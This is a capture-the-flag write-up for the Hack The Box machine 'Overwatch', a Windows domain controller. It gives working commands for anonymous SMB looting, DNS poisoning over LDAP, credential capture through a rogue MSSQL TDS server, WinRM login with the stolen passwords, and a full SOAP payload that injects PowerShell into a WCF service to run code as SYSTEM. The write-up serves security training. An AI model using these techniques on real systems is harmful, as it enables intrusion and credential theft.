Overwatch
Windows AD DC with anonymous SMB share leaking .NET app credentials, MSSQL linked server DNS poisoning for credential capture, and WCF SOAP service command injection for SYSTEM access.
contents

Overwatch – HTB Writeup#
Machine Summary#
| Property | Value |
|---|---|
| Name | Overwatch |
| IP | 10.129.4.166 |
| OS | Windows Server 2022 (Build 20348) |
| Difficulty | Medium |
| Key Topics | Anonymous SMB, .NET Reversing, MSSQL Linked Servers, DNS Poisoning, Rogue TDS Server, WCF Command Injection |
Overview#
Overwatch was a Windows Server 2022 Active Directory Domain Controller running MSSQL on a non-standard port with a custom .NET monitoring application. The attack began with anonymous access to an SMB share containing a .NET binary with hardcoded MSSQL credentials. After connecting to MSSQL as sqlsvc, a linked server pointing to a non-existent host (SQL07) was discovered. By poisoning DNS via LDAP and building a rogue MSSQL TDS server to intercept the linked server connection, the credentials for the sqlmgmt user were captured. This user had WinRM access, yielding the user flag. From the WinRM shell, the locally-running WCF service (port 8000) was accessible. A command injection vulnerability in the KillProcess() SOAP method – which concatenated user input directly into a PowerShell command – was exploited to achieve code execution as NT AUTHORITY\SYSTEM and read the root flag.
Reconnaissance#
An nmap scan against the target revealed 21 open TCP ports and 3 open UDP ports, confirming a Windows Server 2022 Active Directory Domain Controller.
nmap -sC -sV -p- --min-rate 5000 -oA scans/nmap_full 10.129.4.166
Key ports:
53/tcp open tcpwrapped (DNS)
88/tcp open kerberos-sec (Kerberos)
135/tcp open msrpc (RPC)
389/tcp open ldap (AD LDAP - Domain: overwatch.htb)
445/tcp open microsoft-ds (SMB - signing required)
3389/tcp open ms-wbt-server (RDP)
5985/tcp open http (WinRM)
6520/tcp open ms-sql-s (MSSQL 2022 RTM 16.00.1000.00)
MSSQL on non-standard port 6520 was the most notable finding. The domain was overwatch.htb and the hostname was S200401.overwatch.htb. SMB signing was enabled and required, ruling out relay attacks against SMB.
A UDP scan found DNS (53), Kerberos (88), and NTP (123) – standard for a DC. A clock skew of +8h43m22s was noted for Kerberos compatibility.
No web services were found on standard ports (80, 443, 8080, 8443).
Enumeration#
SMB Shares#
Anonymous SMB listing revealed a non-default share:
smbclient -N -L //10.129.4.166
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
software$ Disk
SYSVOL Disk Logon server share
The software$ share was accessible anonymously and contained a Monitoring/ directory with a custom .NET application:
smbclient -N //10.129.4.166/software$ -c 'cd Monitoring; dir'
overwatch.exe 9728 2025-05-17
overwatch.exe.config 2163 2025-05-17
overwatch.pdb 30208 2025-05-17
EntityFramework.dll 4991352
System.Management.Automation.dll 360448
System.Data.SQLite.dll 450232
...
All files were downloaded for analysis.
.NET Binary Analysis – overwatch.exe#
The binary was a PE32+ .NET assembly. Strings analysis and IL disassembly revealed it was a WCF (Windows Communication Foundation) monitoring service with the following architecture:
- WCF service on
http://overwatch.htb:8000/MonitorServiceexposing three operations:StartMonitoring(),StopMonitoring(), andKillProcess(string processName). - WMI process monitoring via
Win32_ProcessStartTrace– logs every new process start. - Edge browser history reader on a timer – reads the 5 most recent URLs.
- MSSQL logging – writes all events to a
SecurityLogs.EventLogtable.
The critical finding was a hardcoded MSSQL connection string in the binary:
Server=localhost;Database=SecurityLogs;User Id=sqlsvc;Password=TI0LKcfHzZw1Vv;
The overwatch.exe.config confirmed the WCF endpoint configuration:
<add baseAddress="http://overwatch.htb:8000/MonitorService" />
<endpoint address="" binding="basicHttpBinding" contract="IMonitoringService" />
Port 8000 was filtered from external access.
Vulnerability Analysis of overwatch.exe#
IL disassembly identified three code-level vulnerabilities:
Command Injection in KillProcess() (Critical) – The
processNameparameter was concatenated directly intoStop-Process -Name <input> -Forceand executed via PowerShell Runspace SDK. The output was returned to the caller.SQL Injection in LogEvent() (High) – Event details were concatenated into an INSERT statement without parameterization.
SQL Injection in CheckEdgeHistory() (High) – URLs from Edge history were concatenated into MSSQL INSERT statements.
The KillProcess command injection was the most exploitable – direct user input via WCF with output returned – but required local access to port 8000.
MSSQL Enumeration#
Connected to MSSQL on port 6520 using the extracted credentials:
impacket-mssqlclient overwatch.htb/sqlsvc:'TI0LKcfHzZw1Vv'@10.129.4.166 -port 6520 -windows-auth
Enumeration findings:
sqlsvchad CONNECT SQL and VIEW ANY DATABASE permissions only – not sysadmin.xp_cmdshell,sp_OACreate, and BULK INSERT were all denied.- The
overwatchdatabase existed with an emptyEventLogtable.sqlsvcwasdb_owner. - The database was not TRUSTWORTHY, and CLR was disabled server-wide.
- LoginMode=1 (Windows Authentication Only) – no SQL auth logins possible.
- No IMPERSONATE permissions available.
xp_dirtreeworked for filesystem enumeration and SMB coercion.
The most significant MSSQL finding was a linked server named SQL07:
SELECT * FROM sys.servers WHERE is_linked = 1;
-- SQL07, SQLNCLI provider, is_rpc_out_enabled=1, is_data_access_enabled=1
SQL07 did not exist in DNS. The linked server had no explicit login mapping (empty sys.linked_logins), meaning it used self-credential pass-through – but the actual behavior depended on the provider configuration.
Domain Enumeration#
Using sqlsvc credentials with BloodHound/LDAP tools:
- 105 domain users, 6 computer objects (S200401, SQL03, NB001, NB002, File01, S200400).
- Domain Admin: Administrator, Adam.Russell.
- Remote Management Users:
sqlmgmt– this user could access WinRM. - No Kerberoastable SPNs, no AS-REP roastable accounts.
- No ADCS, no LAPS, no gMSA.
- No account lockout policy (lockoutThreshold: 0).
Exploitation – User Flag#
The attack path to user focused on capturing the sqlmgmt credentials through the MSSQL linked server SQL07.
Step 1: DNS Poisoning via LDAP#
Since SQL07 did not exist in DNS, a new A record was added pointing it to the attacker’s IP. The sqlsvc domain account had default permission to create DNS records via LDAP:
# Added DNS A record: SQL07.overwatch.htb -> 10.10.14.51 (attacker IP)
python3 dnstool.py -u 'overwatch.htb\sqlsvc' -p 'TI0LKcfHzZw1Vv' \
-a add -r SQL07.overwatch.htb -d 10.10.14.51 10.129.4.166
Step 2: Rogue MSSQL TDS Server#
A custom rogue MSSQL server was built to capture the linked server’s Login7 credentials. This required significant development (10 iterations) because the MSOLEDBSQL provider mandated TLS encryption during the TDS handshake.
The final version (exploits/rogue_mssql_final.py) implemented:
- A real TDS pre-login response (copied from actual SQL Server).
- TLS-over-TDS handshake using Python’s
ssl.MemoryBIOfor non-blocking TLS. - Login7 packet decryption and credential extraction (XOR 0xA5 + nibble swap password decoding).
python3 exploits/rogue_mssql_final.py
# [*] FINAL rogue MSSQL on :1433
Step 3: Trigger the Linked Server Connection#
From the MSSQL session as sqlsvc, a query through the linked server forced SQL07 to connect:
EXEC ('SELECT 1') AT SQL07;
The rogue server captured the Login7 packet:
HostName: S200401
UserName: sqlmgmt
Password: bIhBbzMMnB82yx
AppName: Microsoft SQL Server
ServerName: SQL07
Database: OLEDB
Auth type: SQL Server Authentication
The linked server was configured with SQL authentication credentials for sqlmgmt, not Windows pass-through. These credentials were transmitted in the TDS Login7 packet, which uses a reversible encoding (XOR + nibble swap) – not encryption.
Step 4: WinRM Access as sqlmgmt#
The sqlmgmt user was a member of Remote Management Users, granting WinRM access:
evil-winrm -i 10.129.4.166 -u sqlmgmt -p 'bIhBbzMMnB82yx'
*Evil-WinRM* PS> whoami
overwatch\sqlmgmt
*Evil-WinRM* PS> type C:\Users\sqlmgmt\Desktop\user.txt
d22d511adbf9c226f359a26afae3bc7a
User Flag: d22d511adbf9c226f359a26afae3bc7a
Privilege Escalation – Root Flag#
Step 1: Confirm WCF Service Running as SYSTEM#
From the WinRM shell, port 8000 was confirmed listening via http.sys (PID 4 = System kernel process):
netstat -ano | Select-String ":8000"
# TCP 0.0.0.0:8000 0.0.0.0:0 LISTENING 4
Get-Process overwatch
# Id: 4740, ProcessName: overwatch
Step 2: Enumerate WCF WSDL#
A SOAP request from the WinRM session retrieved the service metadata:
Invoke-WebRequest -Uri "http://localhost:8000/MonitorService?wsdl" -UseBasicParsing
The WSDL confirmed three operations: StartMonitoring, StopMonitoring, and KillProcess. The KillProcess method accepted a processName string parameter, and the SOAP action was http://tempuri.org/IMonitoringService/KillProcess.
Step 3: Command Injection via KillProcess#
The KillProcess() method constructed a PowerShell command by string concatenation:
string script = "Stop-Process -Name " + processName + " -Force";
By injecting into processName, arbitrary PowerShell could be executed. The injection payload used -Force; to terminate the Stop-Process parameter and # to comment out the trailing -Force:
processName = "notepad -Force; whoami #"
This produced: Stop-Process -Name notepad -Force; whoami # -Force
A SOAP request was sent from the WinRM shell:
$body = @"
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
<s:Body>
<KillProcess xmlns="http://tempuri.org/">
<processName>notepad -Force; whoami #</processName>
</KillProcess>
</s:Body>
</s:Envelope>
"@
Invoke-WebRequest -Uri "http://localhost:8000/MonitorService" `
-Method POST -ContentType "text/xml" `
-Headers @{SOAPAction='"http://tempuri.org/IMonitoringService/KillProcess"'} `
-Body $body -UseBasicParsing
The response confirmed SYSTEM execution:
<KillProcessResult>nt authority\system</KillProcessResult>
Step 4: Read Root Flag#
The same injection technique was used to read the root flag:
processName = "notepad -Force; Get-Content C:/Users/Administrator/Desktop/root.txt #"
Response:
<KillProcessResult>0506eb5c74825a88fb0e2eca051b2cbe</KillProcessResult>
Root Flag: 0506eb5c74825a88fb0e2eca051b2cbe
Obstacles & Lessons Learned#
Dead Ends and Challenges#
MSSQL Privilege Escalation Blocked: The
sqlsvcaccount was not sysadmin, had no impersonation permissions, could not enable CLR, could not set TRUSTWORTHY, and had no access to xp_cmdshell or sp_OACreate. SQL Server was Express Edition (no SQL Agent). Every standard MSSQL escalation path was blocked by design.NTLM Relay Failure: An NTLMv2 hash for the DC machine account
S200401$was captured by poisoning DNS and usingxp_dirtreeto coerce SMB authentication. However, relaying to LDAP failed because Windows Server 2022 enforces LDAP signing and channel binding. Relaying to LDAPS also failed due to channel binding enforcement. The machine hash was not crackable.Rogue MSSQL TDS Server Development: Building the rogue MSSQL server required 10 iterations. The MSOLEDBSQL provider mandated TLS during the login phase. Early versions failed at pre-login (wrong response format), TLS handshake (needed TLS-over-TDS framing), and credential decryption (Login7 password encoding). The final working version used the exact pre-login response from a real SQL Server and implemented TLS via Python’s
ssl.MemoryBIOfor non-blocking TLS within TDS packet framing.Password Spraying: 68 common passwords were sprayed against
sqlmgmtvia WinRM before the linked server credential capture approach was discovered. All failed.Port 8000 Filtered Externally: The WCF service on port 8000 was not accessible from outside the target. This meant the command injection in
KillProcess()could only be exploited after obtaining a foothold (WinRM as sqlmgmt), making it a privilege escalation vector rather than an initial access vector.Kerberos Attacks: Kerberoasting found no SPNs. AS-REP roasting found no vulnerable accounts. No ADCS was installed (ruling out Certifried). These were all dead ends.
Key Takeaways#
- Anonymous SMB shares are a goldmine – always check for non-default shares and examine their contents thoroughly.
- .NET binaries with debug symbols (PDB files) make reversing trivial. Hardcoded credentials and string concatenation vulnerabilities are discoverable from IL disassembly.
- MSSQL linked servers pointing to non-existent hosts are a classic credential capture vector. Authenticated domain users can often add DNS records via LDAP, making DNS poisoning straightforward.
- The TDS protocol’s Login7 password encoding (XOR + nibble swap) is reversible – it provides obfuscation, not encryption. TLS protects the transport, but a rogue server terminates TLS and reads the Login7 in cleartext.
- WCF services with
basicHttpBindingand no authentication are trivially callable with raw SOAP requests. When they execute system commands with unsanitized input, the impact is critical.
Tools Used#
| Tool | Purpose |
|---|---|
| nmap | Port scanning and service version detection |
| smbclient | Anonymous SMB share enumeration and file download |
| impacket-mssqlclient | MSSQL authentication and query execution |
| dnstool.py (Impacket/Krbrelayx) | DNS record poisoning via LDAP |
| Custom rogue_mssql_final.py | Rogue TDS server for linked server credential capture |
| evil-winrm | WinRM shell access as sqlmgmt |
| nxc (NetExec) | WinRM command execution for privilege escalation |
| BloodHound / bloodhound-python | Active Directory enumeration |
| Python3 (dnfile) | .NET IL disassembly and source reconstruction |
| curl / Invoke-WebRequest | SOAP requests to WCF service |
| impacket-smbserver | SMB server for NTLM hash capture (dead end) |
| impacket-ntlmrelayx | NTLM relay attempts (dead end) |